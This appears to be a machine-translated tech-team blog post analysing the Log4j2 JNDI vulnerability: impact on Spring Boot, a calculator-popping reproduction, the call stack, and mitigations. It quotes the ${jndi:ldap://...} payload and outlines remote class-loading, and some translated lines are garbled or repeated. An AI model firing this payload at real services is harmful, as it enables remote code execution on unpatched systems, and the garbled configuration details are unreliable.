Writing in the front
Log4j2 nuclear bomb level vulnerability was recently made public. Log4j2 is widely used as an alternative to log4j. Because there are few restrictions on exploitation conditions, the impact of disclosure is significant. Even changing the name of a wireless earphone to a bug exploit code can trigger bugs in unexpected services, causing millions of technicians to lose sleep.
Impact proof
When the vulnerability first became public, many bug notices mentioned that log4J-API and log4J-core dependencies would be affected.
If we create a new Spring Boot project, spring-boot-starter-logging will be introduced by default when the spring-boot-starter dependency is introduced, and the log4j dependency package will be included. Is Spring Boot not affected by default? No, Spring Boot actually uses LogBack by default for logging implementation and SLF4J for abstraction layer management, so it is not affected by default.
It is a little lax to rely only on the judgment of whether it is affected or not, and many notification parties have not carefully checked. To verify this, I used a test item to try it out.
Write an interface that writes input to a log:
So let’s go, log write.
Next, click the breakpoint to see what the logging component is doing. If you trace the breakpoint, you can see that logback is doing the logging:
Both log4j and logback are introduced by default by the Spring-boot-starter-logging component, but Spring Boot uses logback by default for actual log output. So, although Spring Boot introduces log4j by default, it is not affected.
Therefore, online part of the article said that the introduction of dependence even if affected is actually inaccurate, not rigorous. Although such writing can attract attention and attract attention, it also interferes with the investigation of the impact of vulnerabilities, which is not desirable.
As technical practitioners, we should not listen to the wind is rain, for loopholes should be carefully verified, careful investigation, rigorous processing. Of course, the impact of this vulnerability is extremely large, as a software “infrastructure”, there are many components use it as logging implementation, such as ES, Struts2, Solr and many other components and services.
Add an affected log4j to log, manually use log4j to handle the log, and log4j will handle the logging:
Holes cause
The most popular PoC on the network is to use JNDI for LDAP DNS lookup to determine if the vulnerability is affected (${JNDI: LDAP ://dnslog/ XXX}), From this PoC we can easily determine that the attack was caused by a JNDI LDAP lookup of the remote class and loading it.
${sys:java.version} : ${sys:java.version} : ${sys:java.version} : ${sys:java.version} : ${sys:java.version} : ${sys:java.version} : ${sys:java.version} : ${sys:java.version} This latter functionality also supports the JNDI protocol and is therefore exposed to JNDI injection attacks (JNDI remote class loading attacks).
Java Naming and Directory Interface (JNDI) is an API function similar to index center, which can be used to implement dynamic configuration. When the jndiName variable in the code is under control, the client initiating the query loads the remote class file from the server, resulting in command execution.
The simple process of a JNDI LDAP injection attack is as follows: the attacker sends a malicious JNDI LDAP query, which is accepted by the attacking service and initiates the query, downloads the class from the malicious JNDI service, loads the class locally, and triggers the preconfigured malicious code in the class.
Since JAVA 1.8_191, remote codebase is not trusted by default, meaning that remote class files are not automatically loaded, so in JAVA 1.8_191 and later, only local class files can be loaded. More details are provided in blackhat issues.
Vulnerability emersion
In order to facilitate the testing of recurrence vulnerabilities, it is possible to use a lower version of the JAVA environment for testing. Here, I used a version lower than JAVA 1.8_191 for testing.
An initial test using JNdi-injection-exploit and MarshalSec (both test tools have LDAP service capabilities and can be found at GItHub) to generate a pop-up calculator PoC was unsuccessful. After a brief trace of the code breakpoints, I found that if I used the Logger object directly and only introduced the log4J-API component, the actual log was actually output by Logback after slF4J processing, without using log4j.
The log4J-core dependency is required because the code that triggered the vulnerability is actually in the component package. The log4J-core dependency should also be used when troubleshooting the affected services, as shown below.
To continue testing, remove the original spring-boot-starter-logging dependency, The test project is to introduce spring-boot-starter logging in the spring-boot-starter dependency of the spring-boot-starter-Web component. Therefore, spring-boot-starter-logging is excluded from poM configuration where this component is introduced.
We will introduce the log4J-CORE API directly as the IDE prompts.
The log4J-core dependency is introduced and then the logging action is executed, triggering the LDAP query action and popping up the calculator.
A concrete analysis
The convention is to paste the call stack first
c_lookup:1017, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
logTest:13, LogTest (com.examplespring.demo.controller)
LogTest:14, TestController (com.examplespring.demo.controller)
Copy the code
In the call stack we can see the key actions:
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
Copy the code
These vulnerabilities trigger key actions in the log4J-core dependencies, which confirm the previous statement that there is a problem with log4J-API dependencies. In fact, fixing the vulnerability first requires the log4J-core dependencies.
Follow up with the toText function, which transforms the event content for output.
The toSerializable function traversal uses the PatternFormatter to format the Event.
On the 15th PatternFormatter — MessagePatternConverter, the event is replaced if it has ${.
Here’s a twist. You can see that noLookups is false when entering the substitution logic, so here’s a temporary fix — set this variable to true, and the variable is the FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS constant, From from configuration log4j2. FormatMsgNoLookups’s value, if no configuration, it defaults to false.
Without further discussion, subsequent calls to substitute recursively resolve variable values in the text, as explained in the comments.
ResolveVariable does the detailed variable resolution, followed by the lookup call, where jndiName is fully controlled by the input. The JAVA lookup is eventually called, so it is also limited by the JAVA environment.
This was done before JAVA 1.8_191 because it was possible to trust external codebase by default, but after JAVA 1.8_191 it is no longer possible to trust external codebase using external classes, as mentioned in a number of announcements. Spring Boot has a Tomcat dependency by default, so it’s easier to use a native class like this to execute code. References are being made to Exploiting JNDI Injections in Java and [Dubbo deserialization (CVE-2020-1948) available links in learning.
Temporary measures
Based on the above, we can easily come up with some temporary solutions
- Set to start the JVM parameter – Dlog4j2. FormatMsgNoLookups = “true” (to upgrade to 2.10 +)
- In additional log4j2.com ponent. Properties configuration file, add “log4j2. FormatMsgNoLookups = True” configuration (ditto)
After using a temporary solution, can print org. After application startup apache. Logging. Log4j. Core. The util. The FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS parameters, If true, Message Lookup is disabled.
Also, higher versions of JAVA environments can make it harder to exploit, but not as a temporary fix! Not a temporary fix! Not a temporary fix! It’s so important that it should be repeated for three times.
By poking fun at the online part of the temporary repair measures are mentioned to add “log4j2. FormatMsgNoLookups = True” configuration solution, but not at the end of the day where to add. I set up the application. The properties and log4j2. The properties have no effect, finally to find you need to set up in the inside of the code is log4j2.com ponent. Properties configuration file.
The official repair
Log4j-2.15.0-rc1 fixes the problem in the log4J-2.15.0-rc1 preview version before the release of the vulnerability. The official release is rel/2.15.0.
A few days later, a preview version of Log4J-2.15.1-rc1 was released, turning OFF JNDI by default.
Message lookup is removed from log4J-2.16.0-rc1.
By the time of compiling, rel/2.16.0 has been released, and Message lookup function has been removed.
Write in the last
With the official release of 2.16.0, the official fix for the bug should be over, but the techies’ work is far from over. Own projects rely on can modify directly, but many components depend on update need corresponding component authorities have issued a security team and update the test version, vulnerability to repair the road is far from over, relying on the old version in the library was not completely eliminate, defense equipment alarm apes are still stick to technology, let a person like a swallow.
This article is dedicated to the loss of the vast number of technical apes and the impending loss of trouble silk :). 21.12.13
Recommended reading
Guava Cache actual Combat – From scenario to principle analysis
Details of HTTP2.0 and HTTPS protocols
Wechat official account
The article is published synchronously, the public number of political cloud technology team, welcome to pay attention to